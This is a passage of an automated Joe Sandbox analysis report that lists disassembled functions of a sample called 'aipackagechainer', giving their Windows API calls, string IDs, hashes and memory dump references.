                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 72df553129b2121f7f72adf2f970be6af06600f67e82726023bce92b2aa3eb75
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: ECF1AC7091124AEFDB00DF68C849B9EBBB4FF49315F108219F815A7291EB74DA68CF91
                                                                                                                                                                                                                                                  Function 00228650 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 157processsynchronizationCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                    • Part of subcall function 00213540: GetProcessHeap.KERNEL32 ref: 00213595
                                                                                                                                                                                                                                                  • CreateProcessW.KERNEL32(?,?,00000000,00000000,00000000,?,?,?,00000044,?), ref: 00228758
                                                                                                                                                                                                                                                  • GetLastError.KERNEL32(?,?,00000000,00000000,00000000,?,?,?,00000044,?), ref: 00228762
                                                                                                                                                                                                                                                  • WaitForSingleObject.KERNEL32(?,000000FF,?,?,00000000,00000000,00000000,?,?,?,00000044,?), ref: 00228771
                                                                                                                                                                                                                                                  • GetExitCodeProcess.KERNEL32(?,?), ref: 0022878E
                                                                                                                                                                                                                                                  • GetLastError.KERNEL32(?,?,00000000,00000000,00000000,?,?,?,00000044,?), ref: 00228798
                                                                                                                                                                                                                                                  • CloseHandle.KERNEL32(?,?,?,00000000,00000000,00000000,?,?,?,00000044,?), ref: 002287A5
                                                                                                                                                                                                                                                  • GetLastError.KERNEL32(?,?,00000000,00000000,00000000,?,?,?,00000044,?), ref: 002287AF
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: ErrorLastProcess$CloseCodeCreateExitHandleHeapObjectSingleWait
                                                                                                                                                                                                                                                  • String ID: "%s" %s$D
                                                                                                                                                                                                                                                  • API String ID: 3234789809-3971972636
                                                                                                                                                                                                                                                  • Opcode ID: a36e6d9fdaefb020cb5ef305cf780c7a540fc718d60844202b2df9f49692f2dd
                                                                                                                                                                                                                                                  • Instruction ID: 5baa3f5350115e7f50e22584d4d961701d75dae62fcf8a28741cc3644bb0d69b
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: a36e6d9fdaefb020cb5ef305cf780c7a540fc718d60844202b2df9f49692f2dd
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 9F51E835921215EFDB10CFA4EC48BAAF7B9FF85724F354619E411A7290DB70E861CBA0
                                                                                                                                                                                                                                                  Function 0023E4B0 Relevance: 15.2, APIs: 10, Instructions: 155COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • GetWindowLongW.USER32(?,000000EB), ref: 0023E4C1
                                                                                                                                                                                                                                                  • DeleteObject.GDI32(?), ref: 0023E519
                                                                                                                                                                                                                                                    • Part of subcall function 0023DEC0: IsWindowVisible.USER32 ref: 0023DED6
                                                                                                                                                                                                                                                    • Part of subcall function 0023DEC0: SendMessageW.USER32(?,0000000B,00000000,00000000), ref: 0023DEF2
                                                                                                                                                                                                                                                    • Part of subcall function 0023DEC0: GetWindowLongW.USER32(?,000000F0), ref: 0023DEF8
                                                                                                                                                                                                                                                    • Part of subcall function 0023DEC0: GetDlgItem.USER32(?,?), ref: 0023DF6A
                                                                                                                                                                                                                                                    • Part of subcall function 0023DEC0: GetWindowRect.USER32(00000000,?), ref: 0023DF82
                                                                                                                                                                                                                                                    • Part of subcall function 0023DEC0: MapWindowPoints.USER32(00000000,?,00000002,00000002), ref: 0023DF93
                                                                                                                                                                                                                                                  • EndDialog.USER32(?,00000000), ref: 0023E599
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: Window$Long$DeleteDialogItemMessageObjectPointsRectSendVisible
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 2368538989-0
                                                                                                                                                                                                                                                  • Opcode ID: 522c9e227c891132707dc815fd227bde004d3b8569f10f0ec3a26f9e863529ae
                                                                                                                                                                                                                                                  • Instruction ID: 2b5ca2c60a7dc0481b001c24b6a3989babd822a595d3a56cb459856b51202323
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 522c9e227c891132707dc815fd227bde004d3b8569f10f0ec3a26f9e863529ae
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: A74117B232421557CF349E3CAC09B7B379CDB95731F010B2AFD25D32D0DA6198298AA1
                                                                                                                                                                                                                                                  Function 0027C145 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 19libraryloaderCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • GetModuleHandleW.KERNEL32(kernel32.dll), ref: 0027C14B
                                                                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,GetCurrentPackageId), ref: 0027C159
                                                                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 0027C16A
                                                                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,GetTempPath2W), ref: 0027C17B
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: AddressProc$HandleModule
                                                                                                                                                                                                                                                  • String ID: GetCurrentPackageId$GetSystemTimePreciseAsFileTime$GetTempPath2W$kernel32.dll
                                                                                                                                                                                                                                                  • API String ID: 667068680-1247241052
                                                                                                                                                                                                                                                  • Opcode ID: 47454bf8ef859da67ddc1427ea21ceb917fbdfca2114fcd456344217a54db0c8
                                                                                                                                                                                                                                                  • Instruction ID: 2fdba1181ae989e08418771ad1f5252499828d525da07c607171fdfbf59bacc6
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 47454bf8ef859da67ddc1427ea21ceb917fbdfca2114fcd456344217a54db0c8
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 71E0EC31A7A320AF8B505FB4BD0D88A3BA4AB0B7963420463B511E2260FEB848518B61
                                                                                                                                                                                                                                                  Function 0025F410 Relevance: 13.7, APIs: 9, Instructions: 187windowCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • GetDlgItem.USER32(?,00000427), ref: 0025F4B6
                                                                                                                                                                                                                                                  • SendMessageW.USER32(00000000,000000F0,00000000,00000000), ref: 0025F4C6
                                                                                                                                                                                                                                                  • EndDialog.USER32(00000000,00000001), ref: 0025F4DA
                                                                                                                                                                                                                                                    • Part of subcall function 0025F7C0: SetWindowTextW.USER32(00000000,002AA475), ref: 0025F84F
                                                                                                                                                                                                                                                    • Part of subcall function 0025F7C0: GetDlgItem.USER32(00000000,0000042B), ref: 0025F8A7
                                                                                                                                                                                                                                                    • Part of subcall function 0025F7C0: SetWindowTextW.USER32(00000000,00000000), ref: 0025F8AE
                                                                                                                                                                                                                                                    • Part of subcall function 0025F7C0: GetDlgItem.USER32(?,00000001), ref: 0025F8BB
                                                                                                                                                                                                                                                    • Part of subcall function 0025F7C0: EnableWindow.USER32(00000000,00000000), ref: 0025F8C0
                                                                                                                                                                                                                                                  • EndDialog.USER32(00000000,00000002), ref: 0025F505
                                                                                                                                                                                                                                                  • GetDlgItem.USER32(00000000,00000001), ref: 0025F554
                                                                                                                                                                                                                                                  • EnableWindow.USER32(00000000,00000000), ref: 0025F566
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: ItemWindow$DialogEnableText$MessageSend
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 3408327222-0
                                                                                                                                                                                                                                                  • Opcode ID: 0502f5113c21f618579636d7bcd987d2295efb8f385ba4c43648e65612a9a1a4
                                                                                                                                                                                                                                                  • Instruction ID: d17120ccabc73b2ab1852a030fe36f3232bec58f13111ce51c87144f850a883f
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 0502f5113c21f618579636d7bcd987d2295efb8f385ba4c43648e65612a9a1a4
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 5B513571A10205AFEB149F28E989B7677A4FB45322F40417AFD1187290EB72DC69CFE1
                                                                                                                                                                                                                                                  Function 0023DEC0 Relevance: 13.7, APIs: 9, Instructions: 156windowCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • IsWindowVisible.USER32 ref: 0023DED6
                                                                                                                                                                                                                                                  • SendMessageW.USER32(?,0000000B,00000000,00000000), ref: 0023DEF2
                                                                                                                                                                                                                                                  • GetWindowLongW.USER32(?,000000F0), ref: 0023DEF8
                                                                                                                                                                                                                                                  • GetDlgItem.USER32(?,?), ref: 0023DF6A
                                                                                                                                                                                                                                                  • GetWindowRect.USER32(00000000,?), ref: 0023DF82
                                                                                                                                                                                                                                                  • MapWindowPoints.USER32(00000000,?,00000002,00000002), ref: 0023DF93
                                                                                                                                                                                                                                                  • SetWindowPos.USER32(00000014,00000000,?,00000002,00000002,?,00000014,?,00000002,00000002,?,?,?,000000F0,?,00000000), ref: 0023E00F
                                                                                                                                                                                                                                                  • SendMessageW.USER32(?,0000000B,00000001,00000000), ref: 0023E043
                                                                                                                                                                                                                                                  • RedrawWindow.USER32(?,00000000,00000000,00000185), ref: 0023E050
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: Window$MessageSend$ItemLongPointsRectRedrawVisible
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 3196996609-0
                                                                                                                                                                                                                                                  • Opcode ID: c0e9cce1bd25cdd0536fbe176e81f6fe4317b09bffae5226846947e3522aa178
                                                                                                                                                                                                                                                  • Instruction ID: 25f265fcd63b9975ddc70aff572188dc72c63a1ea70ddb2f05d586e5e513d7db
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: c0e9cce1bd25cdd0536fbe176e81f6fe4317b09bffae5226846947e3522aa178
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: C0519070214301DFDB24CF28E889B2ABBE1FF84704F144A1CF5869B2A5DB71E865CB51
                                                                                                                                                                                                                                                  Function 00280279 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • type_info::operator==.LIBVCRUNTIME ref: 00280398
                                                                                                                                                                                                                                                  • ___TypeMatch.LIBVCRUNTIME ref: 002804A6
                                                                                                                                                                                                                                                  • _UnwindNestedFrames.LIBCMT ref: 002805F8
                                                                                                                                                                                                                                                  • CallUnexpected.LIBVCRUNTIME ref: 00280613
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
                                                                                                                                                                                                                                                  • String ID: csm$csm$csm
                                                                                                                                                                                                                                                  • API String ID: 2751267872-393685449
                                                                                                                                                                                                                                                  • Opcode ID: 68a07f993ad5ed6f5e2e833124b673c946508b79375852bb52d0a5333b74d10a
                                                                                                                                                                                                                                                  • Instruction ID: d5efc0e3edf57209f578272e075cfa974ccc361271554779c8078730d9cb9141
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 68a07f993ad5ed6f5e2e833124b673c946508b79375852bb52d0a5333b74d10a
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 3DB18D7982220ADFCF55EF94C8819AEB7B5FF14310B54409AE8056B292D334DE79CFA1
                                                                                                                                                                                                                                                  Function 00235810 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 233synchronizationCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • ShellExecuteExW.SHELL32(0000003C), ref: 00235A48
                                                                                                                                                                                                                                                  • GetLastError.KERNEL32 ref: 00235A59
                                                                                                                                                                                                                                                  • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00235A6F
                                                                                                                                                                                                                                                  • GetExitCodeProcess.KERNEL32(00000000,?), ref: 00235A80
                                                                                                                                                                                                                                                  • CloseHandle.KERNEL32(00000000), ref: 00235A8E
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: CloseCodeErrorExecuteExitHandleLastObjectProcessShellSingleWait
                                                                                                                                                                                                                                                  • String ID: \\?\$open
                                                                                                                                                                                                                                                  • API String ID: 1481985272-3841230862
                                                                                                                                                                                                                                                  • Opcode ID: 89badfda0d407b13f2e243146bf848db6a1ef3560e26083199d2cfad787a9896
                                                                                                                                                                                                                                                  • Instruction ID: 622143c875a2b2601b3f5e1830fc4b031916dcb5c559c5fbcfab9c0b1240cafa
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 89badfda0d407b13f2e243146bf848db6a1ef3560e26083199d2cfad787a9896
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 2D91BEB1E1061ACFDB10CFA8C8447AEB7F5FF59324F148269E819AB291D7759D01CB90
                                                                                                                                                                                                                                                  Function 0027DE10 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 122COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • _ValidateLocalCookies.LIBCMT ref: 0027DE47
                                                                                                                                                                                                                                                  • ___except_validate_context_record.LIBVCRUNTIME ref: 0027DE4F
                                                                                                                                                                                                                                                  • _ValidateLocalCookies.LIBCMT ref: 0027DED8
                                                                                                                                                                                                                                                  • __IsNonwritableInCurrentImage.LIBCMT ref: 0027DF03
                                                                                                                                                                                                                                                  • _ValidateLocalCookies.LIBCMT ref: 0027DF58
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
                                                                                                                                                                                                                                                  • String ID: csm$d'
                                                                                                                                                                                                                                                  • API String ID: 1170836740-2295037060
                                                                                                                                                                                                                                                  • Opcode ID: 04ee0a5df15bef6c74952819f8c1ca2afefe8fa9d852c2dfdfc1ad5828bdd14e
                                                                                                                                                                                                                                                  • Instruction ID: 66f382fd8315b3ef255a9676451993f01a3147f72c1620e1c65a4fe5908a647b
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 04ee0a5df15bef6c74952819f8c1ca2afefe8fa9d852c2dfdfc1ad5828bdd14e
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 8D41D634A20209ABCF11DF68C884AAEBBB5FF55324F14C056E8196B392D771ED25CF91
                                                                                                                                                                                                                                                  Function 0022F780 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 100libraryloaderCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • GetModuleHandleW.KERNEL32(Advapi32.dll,4938EAB5,Function_0006987A,00000000,?,Function_0008BEE0,000000FF,?,0022F6CB,?), ref: 0022F7B9
                                                                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,RegDeleteKeyTransactedW), ref: 0022F7C9
                                                                                                                                                                                                                                                  • GetModuleHandleW.KERNEL32(Advapi32.dll,4938EAB5,Function_0006987A,00000000,?,Function_0008BEE0,000000FF,?,0022F6CB,?), ref: 0022F829
                                                                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 0022F839
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: AddressHandleModuleProc
                                                                                                                                                                                                                                                  • String ID: Advapi32.dll$RegDeleteKeyExW$RegDeleteKeyTransactedW
                                                                                                                                                                                                                                                  • API String ID: 1646373207-1053001802
                                                                                                                                                                                                                                                  • Opcode ID: 6cea7e1dab0f4331bc67e003011c90214cde7ce521b5c02234685799e2dfd40a
                                                                                                                                                                                                                                                  • Instruction ID: 7f77e07852d457216bc64b7f70ef8f4ce4caad621cda89546bc96f25bfb2aff2
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 6cea7e1dab0f4331bc67e003011c90214cde7ce521b5c02234685799e2dfd40a
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 47310632A19204FFDB108F94FD05FA5FBB4FB49B10F10453BE91592690DB769820CB55
                                                                                                                                                                                                                                                  Function 0023D1A0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 99libraryloaderCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • SHGetSpecialFolderLocation.SHELL32(00000000,00000023,?,?,?,?,002D8AF4), ref: 0023D1B0
                                                                                                                                                                                                                                                  • LoadLibraryW.KERNEL32(Shell32.dll,?,?,002D8AF4), ref: 0023D1C3
                                                                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,SHGetSpecialFolderPathW), ref: 0023D1D3
                                                                                                                                                                                                                                                  • SHGetPathFromIDListW.SHELL32(?,00000000), ref: 0023D25C
                                                                                                                                                                                                                                                  • SHGetMalloc.SHELL32(?), ref: 0023D29E
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: AddressFolderFromLibraryListLoadLocationMallocPathProcSpecial
                                                                                                                                                                                                                                                  • String ID: SHGetSpecialFolderPathW$Shell32.dll
                                                                                                                                                                                                                                                  • API String ID: 2352187698-2988203397
                                                                                                                                                                                                                                                  • Opcode ID: ec68ba484328dd16237d59f34cb6df533d155c9d28bac4057ed864164c7240ee
                                                                                                                                                                                                                                                  • Instruction ID: fe7fb5da6ca973abd82de8a5807beaae78a023e40a3d2f87690298f125f59a2f
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: ec68ba484328dd16237d59f34cb6df533d155c9d28bac4057ed864164c7240ee
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 883104B1A107029BEB209F24FC09B6B77F5AFD0710F45842CEC8987191EB71D8A68B91
                                                                                                                                                                                                                                                  Function 002798FD Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 45libraryloaderCOMMONLIBRARYCODE
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • GetModuleHandleW.KERNEL32(KERNEL32.DLL,?,?,00279978,002798DB,00279B7C), ref: 00279914
                                                                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,AcquireSRWLockExclusive), ref: 0027992A
                                                                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,ReleaseSRWLockExclusive), ref: 0027993F
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: AddressProc$HandleModule
                                                                                                                                                                                                                                                  • String ID: AcquireSRWLockExclusive$KERNEL32.DLL$ReleaseSRWLockExclusive$w-
                                                                                                                                                                                                                                                  • API String ID: 667068680-998314914
                                                                                                                                                                                                                                                  • Opcode ID: fb169025b38b5d9f5ae96da2a61e7e668958a37aeb163c9df93b314b8336993e
                                                                                                                                                                                                                                                  • Instruction ID: 0fdcf86ae1a8d5d7499bf939fec340e8304c70576211f6eee428d93e47cf1d96
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: fb169025b38b5d9f5ae96da2a61e7e668958a37aeb163c9df93b314b8336993e
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 4AF0C232B35363DB7F614EA07C895AB63DC9A03354315983ED719E6250FA74CCE2C690
